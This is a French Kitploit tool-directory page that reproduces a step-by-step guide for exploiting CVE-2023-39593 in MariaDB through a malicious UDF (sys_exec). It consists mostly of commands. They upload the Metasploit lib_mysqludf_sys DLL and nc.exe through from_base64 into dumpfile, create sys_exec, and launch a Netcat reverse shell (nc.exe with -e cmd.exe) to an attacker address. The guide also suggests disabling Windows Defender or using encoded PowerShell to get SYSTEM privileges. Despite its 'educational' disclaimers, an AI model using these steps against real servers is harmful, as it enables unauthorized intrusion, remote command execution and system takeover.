Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2023-39593 — Exécution de code authentifiée sur base de données | Kitploit
Outils/GitHubGitHub/ant1sec-ops/cve-2023-39593
Escalade de PrivilègesExploitationPost-ExploitationTests d'IntrusionCommandement et ContrôleApprentissage et ÉducationOutil d'Accès à DistanceDéveloppement de Charges UtilesSécurité des Bases de Données
GitHubant1sec-ops/cve-2023-39593

CVE-2023-39593

Exécution de code authentifiée sur base de données

2il y a 1 anPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Voir le dépôt

MariaDB 10.5 Exécution de code authentifié - sys_exec

Ce guide fournit des instructions détaillées pour exploiter une vulnérabilité de fonction définie par l'utilisateur (UDF) dans MariaDB sur un serveur distant. Ces étapes incluent le téléchargement et l'exécution de code malveillant sur un système de base de données vulnérable.

Avertissement : Ce document est uniquement à des fins éducatives. Toute utilisation non autorisée de ces techniques est illégale et contraire à l'éthique.

Étapes pour reproduire l'attaque

1. Se connecter à l'hôte distant MariaDB

Utilisez la commande suivante pour vous connecter au serveur MySQL :

root@kitploit:~
mysql -h 192.168.214.129 -u root -pPassw0rd!

2. Vérifier la version de MariaDB

Pour déterminer la version de MySQL en cours d'exécution, exécutez :

root@kitploit:~
select @@version;

3. Lister tous les utilisateurs

Pour voir l'utilisateur actuellement connecté :

root@kitploit:~
select user();

4. Afficher toutes les informations sur l'utilisateur root

Récupérez tous les détails liés à l'utilisateur root :

root@kitploit:~
select * from mysql.user where user='root';

5. Vérifier les privilèges de l'utilisateur

Déterminez les privilèges de l'utilisateur actuel :

root@kitploit:~
show grants;

6. Vérifier l'architecture du système

Déterminez si l'architecture du système est vulnérable aux UDF :

root@kitploit:~
select @@version_compile_os, @@version_compile_machine;

7. Vérifier le répertoire des plugins

Identifiez le répertoire des plugins où les fichiers UDF peuvent être téléchargés :

root@kitploit:~
select @@plugin_dir;

8. Copier la DLL 32 bits

Copiez la DLL 32 bits depuis le répertoire d'exploitation de Metasploit :

root@kitploit:~
ls /usr/share/metasploit-framework/data/exploits/mysql/
cp /usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_32.dll udf.dll

9. Convertir la DLL au format Base64

Encodez le fichier udf.dll en base64 :

root@kitploit:~
cat udf.dll | base64 | tr -d '\n' > udf.base64

10. Transférer la DLL vers le serveur MySQL

Copiez la valeur base64 du fichier udf.base64 et transférez-la dans le serveur MySQL :

Ouvrez udf.base64 dans un éditeur de texte :

root@kitploit:~
leafpad udf.base64

Dans MariaDB, exécutez :

root@kitploit:~
select from_base64("base64 value") into dumpfile 'C:\\Program Files\\MariaDB 10.4\\lib\\plugin\\udf.dll';

Si nécessaire, utilisez plutôt le chemin suivant :

root@kitploit:~
C:\Program Files\MariaDB 11.1\lib\plugin\

11. Charger la fonction UDF dans MariaDB

Exécutez la commande suivante dans MariaDB pour créer une nouvelle fonction :

root@kitploit:~
create function sys_exec returns int soname 'udf.dll';

Remarque : Vous pouvez également utiliser sys_eval, sys_get, do_system ou sys_bineval. Assurez-vous d'utiliser int et non into.

12. Vérifier l'installation de l'UDF

Vérifiez si la fonction UDF a été installée avec succès :

root@kitploit:~
select * from mysql.func;

13. Préparer le binaire Netcat

Copiez l'exécutable Netcat dans votre répertoire local et encodez-le en base64 :

root@kitploit:~
cp /usr/share/windows-binaries/nc.exe .
cat nc.exe | base64 | tr -d '\n' > nc.base64

14. Transférer Netcat vers le serveur MariaDB

Ouvrez nc.base64 dans un éditeur de texte :

root@kitploit:~
leafpad nc.base64

Ensuite, dans MySQL :

root@kitploit:~
select from_base64("base64valueofNc.exe") into dumpfile 'C:\\Program Files\\MariaDB 10.5\\lib\\plugin\\nc.exe';

Alternativement, vous pouvez le télécharger directement avec :

root@kitploit:~
mysql -u root -p -h 192.168.214.129 < nc.base64

15. Exécuter Netcat pour un reverse shell

Activez un écouteur Netcat sur le port 443 :

root@kitploit:~
sudo nc -nlvp 443

Exécutez Netcat sur le serveur distant pour un reverse shell :

root@kitploit:~
select sys_exec('C:\\Program Files\\MariaDB 10.4\\lib\\plugin\\nc.exe 192.168.214.128 443 -e cmd.exe');

Remarque : Cette étape peut être bloquée par Windows Defender ou d'autres antivirus. Envisagez d'utiliser des commandes PowerShell encodées (powershellbase64) et assurez-vous que Defender est désactivé.

16. Exécuter des commandes PowerShell

Exécutez une commande PowerShell en utilisant l'encodage base64 :

root@kitploit:~
select sys_exec('powershellbase64');

REMARQUE : Dans de nombreux cas, vous pouvez obtenir les privilèges NT AUTHORITY SYSTEM.

Informations supplémentaires

  • Supprimer une fonction : Pour supprimer toute fonction UDF créée :

    root@kitploit:~
    drop function sys_get;
    
  • Vérifier local_infile : Vérifiez si l'écriture locale est activée :

    root@kitploit:~
    show variables like 'local_infile';
    
  • Trouver les utilisateurs avec le privilège INSERT : Identifiez les utilisateurs disposant du privilège INSERT :

    root@kitploit:~
    use mysql;
    select user from user where insert_priv='Y' and Host='%';
    

Avertissement : Ce document est destiné uniquement à des fins éducatives et de recherche en sécurité. Une mauvaise utilisation de ces informations peut entraîner des poursuites pénales et de lourdes sanctions légales. Obtenez toujours l'autorisation des autorités compétentes avant de tester des vulnérabilités sur un réseau ou un système.

Télécharger l’outil